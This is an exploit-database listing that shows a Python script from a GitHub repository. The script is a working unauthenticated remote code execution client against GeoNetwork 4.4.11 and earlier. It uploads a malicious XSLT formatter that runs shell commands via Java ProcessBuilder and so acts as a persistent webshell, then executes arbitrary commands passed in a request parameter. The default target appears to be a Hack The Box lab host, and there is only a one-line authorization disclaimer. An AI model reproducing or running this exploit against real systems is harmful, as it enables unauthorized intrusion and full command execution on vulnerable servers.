Exploit databaseDownload repository ZIP
GH-583b78496bc353f25fa5bbcee27544fa
c0gnit00/gnsshell
Sources for CVE-2026-63219
4 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
c0gnit00/gnsshellRevision 157f60b366c9
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
gns_rce.py
Suggested starting filePython · 9,901 bytes#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
GNSShell RCE client
===================
GeoNetwork <= 4.4.11 unauthenticated remote code execution.
CVE-2026-63219 - missing authorization on POST /srv/api/formatters
CVE-2026-58400 - unsafe XSLT configuration (Java extension functions)
This client uploads one dynamic formatter and then uses it as a webshell: the
command comes from the request parameter, so every later command reuses the
same formatter instead of uploading a new one.
There is no TTY here. Each command is executed by its own `sh -c` and the
output is returned as text. For arrow keys, history and interactive programs
use gnshell.py instead.
Usage:
python3 gns_rce.py -c "id"
printf 'id\nuname -a\n' | python3 gns_rce.py
python3 gns_rce.py --name gnshabcd1234 --no-upload -c "ls -la /"
Only use this against systems you own or are explicitly authorized to test.
"""
from __future__ import annotations
import argparse
import random
import re
import string
import sys
try:
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
sys.exit("[!] This script requires 'requests'. Install it with: pip install requests")
# ---------------------------------------------------------------------------
# Dynamic stylesheet (the webshell)
# ---------------------------------------------------------------------------
# The command is read from the request parameter `cmd`. GeoNetwork passes every
# query parameter into the XSL transform, and Saxon runs this stylesheet with
# Java extension functions enabled, so ProcessBuilder can start a shell.
#
# `sh -c` is used instead of Runtime.exec so pipes, redirection and `&&` work.
# Output (stdout and stderr) is read line by line and returned as text.
XSL = """<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:pb="java.lang.ProcessBuilder"
xmlns:pr="java.lang.Process"
xmlns:br="java.io.BufferedReader"
xmlns:isr="java.io.InputStreamReader"
xmlns:list="java.util.List"
exclude-result-prefixes="pb pr br isr list xs">
<xsl:output method="text"/>
<xsl:param name="cmd" as="xs:string" select="'id'"/>
<xsl:template match="/">
<xsl:variable name="args" select="list:of('sh', '-c', $cmd)"/>
<xsl:variable name="pb0" select="pb:new($args)"/>
<xsl:variable name="pb1" select="pb:redirectErrorStream($pb0, true())"/>
<xsl:variable name="proc" select="pb:start($pb1)"/>
<xsl:variable name="stream" select="pr:getInputStream($proc)"/>
<xsl:variable name="reader" select="isr:new($stream)"/>
<xsl:variable name="buf" select="br:new($reader)"/>
<xsl:call-template name="read">
<xsl:with-param name="buf" select="$buf"/>
</xsl:call-template>
</xsl:template>
<xsl:template name="read">
<xsl:param name="buf"/>
<xsl:variable name="line" select="br:readLine($buf)"/>
<xsl:if test="exists($line)">
<xsl:value-of select="$line"/>
<xsl:text> </xsl:text>
<xsl:call-template name="read">
<xsl:with-param name="buf" select="$buf"/>
</xsl:call-template>
</xsl:if>
</xsl:template>
</xsl:stylesheet>
"""
UUID_RE = r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}"
# ---------------------------------------------------------------------------
# HTTP helpers
# ---------------------------------------------------------------------------
def http_session() -> requests.Session:
s = requests.Session()
s.headers["User-Agent"] = "Mozilla/5.0 GNSShell-RCE"
return s
def get_version(session, base, timeout, verify) -> str:
try:
r = session.get(
f"{base}/srv/api/site",
headers={"Accept": "application/json"},
timeout=timeout,
verify=verify,
)
if r.ok:
return r.json().get("system/platform/version", "unknown")
except Exception:
pass
return "unknown"
def get_token(session, base, timeout, verify):
session.get(f"{base}/srv/eng/catalog.search", timeout=timeout, verify=verify)
token = session.cookies.get("XSRF-TOKEN")
if token:
return token
session.get(
f"{base}/srv/api/site",
headers={"Accept": "application/json"},
timeout=timeout,
verify=verify,
)
return session.cookies.get("XSRF-TOKEN")
def get_uuid(session, base, timeout, verify):
params = {
"service": "CSW",
"request": "GetRecords",
"version": "2.0.2",
"typeNames": "gmd:MD_Metadata",
"outputSchema": "http://www.isotc211.org/2005/gmd",
"resulttype": "results",
"elementsetname": "brief",
}
r = session.get(f"{base}/srv/eng/csw", params=params, timeout=timeout, verify=verify)
m = re.search(UUID_RE, r.text)
return m.group(0) if m else None
def upload_shell(session, base, name, token, timeout, verify):
"""Upload the webshell once. Returns True when it is usable."""
r = session.post(
f"{base}/srv/api/formatters/",
headers={"X-XSRF-TOKEN": token, "Accept": "application/json"},
files={"file": (f"{name}.xsl", XSL.encode("utf-8"), "application/xml")},
timeout=timeout,
verify=verify,
allow_redirects=False,
)
if r.status_code == 201:
return True, ""
if "already exists" in r.text:
return True, ""
return False, f"HTTP {r.status_code}: {r.text[:300]}"
def run_command(session, base, uuid, name, cmd, timeout, verify):
"""Execute one command through the already uploaded formatter."""
try:
r = session.get(
f"{base}/srv/api/records/{uuid}/formatters/{name}",
params={"cmd": cmd},
timeout=timeout,
verify=verify,
)
except requests.RequestException as exc:
sys.stderr.write(f"[!] Request failed: {exc}\n")
return 1
if r.status_code != 200:
sys.stderr.write(f"[!] HTTP {r.status_code}: {r.text[:300]}\n")
return 1
sys.stdout.write(r.text)
if r.text and not r.text.endswith("\n"):
sys.stdout.write("\n")
sys.stdout.flush()
return 0
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main() -> int:
p = argparse.ArgumentParser(
description="GNSShell RCE client - one webshell formatter, many commands",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=(
"Examples:\n"
" python3 gns_rce.py -c 'id; uname -a'\n"
" printf 'id\\nls -la /\\n' | python3 gns_rce.py\n"
" python3 gns_rce.py --name gnshabcd1234 --no-upload -c 'whoami'\n"
),
)
p.add_argument("--url", default="http://geo.airways.htb/geonetwork",
help="GeoNetwork base URL")
p.add_argument("--uuid", default=None,
help="metadata UUID (auto-discovered through CSW)")
p.add_argument("--name", default=None,
help="formatter id (default: random gnshXXXXXXXX)")
p.add_argument("--token", default=None, help="override the XSRF-TOKEN value")
p.add_argument("-c", "--cmd", default=None, help="run one command and exit")
p.add_argument("--no-upload", action="store_true",
help="reuse an existing formatter instead of uploading")
p.add_argument("--timeout", type=float, default=30.0, help="HTTP timeout in seconds")
p.add_argument("--verify-tls", action="store_true", help="verify TLS certificates")
args = p.parse_args()
base = args.url.rstrip("/")
verify = args.verify_tls
name = args.name or ("gnsh" + "".join(
random.choices(string.ascii_lowercase + string.digits, k=8)))
if args.no_upload and not args.name:
sys.stderr.write("[!] --no-upload requires --name.\n")
return 1
session = http_session()
try:
version = get_version(session, base, args.timeout, verify)
except Exception as exc:
sys.stderr.write(f"[!] {base} is unreachable: {exc}\n")
return 1
sys.stderr.write(f"[*] Target : {base} (GeoNetwork {version})\n")
sys.stderr.write(f"[*] Formatter : {name}\n")
if not args.no_upload:
token = args.token or get_token(session, base, args.timeout, verify)
if not token:
sys.stderr.write("[!] Could not obtain an XSRF-TOKEN cookie.\n")
return 1
ok, err = upload_shell(session, base, name, token, args.timeout, verify)
if not ok:
sys.stderr.write(f"[!] Upload failed: {err}\n")
return 1
sys.stderr.write("[+] Webshell formatter is ready (uploaded once).\n")
uuid = args.uuid or get_uuid(session, base, args.timeout, verify)
if not uuid:
sys.stderr.write("[!] Could not find a public metadata UUID; pass --uuid.\n")
return 1
sys.stderr.write(f"[*] Record : {uuid}\n\n")
sys.stderr.flush()
# Single command, then exit.
if args.cmd is not None:
return run_command(session, base, uuid, name, args.cmd, args.timeout, verify)
# Piped input: execute each line, then exit.
if not sys.stdin.isatty():
rc = 0
for line in sys.stdin:
cmd = line.rstrip("\n")
if not cmd.strip() or cmd.strip().lower() in ("exit", "quit"):
continue
rc = run_command(session, base, uuid, name, cmd, args.timeout, verify)
return rc
# No command given: do not prompt.
sys.stderr.write('[!] No command given. Use -c "command" or pipe input.\n')
return 1
if __name__ == "__main__":
raise SystemExit(main())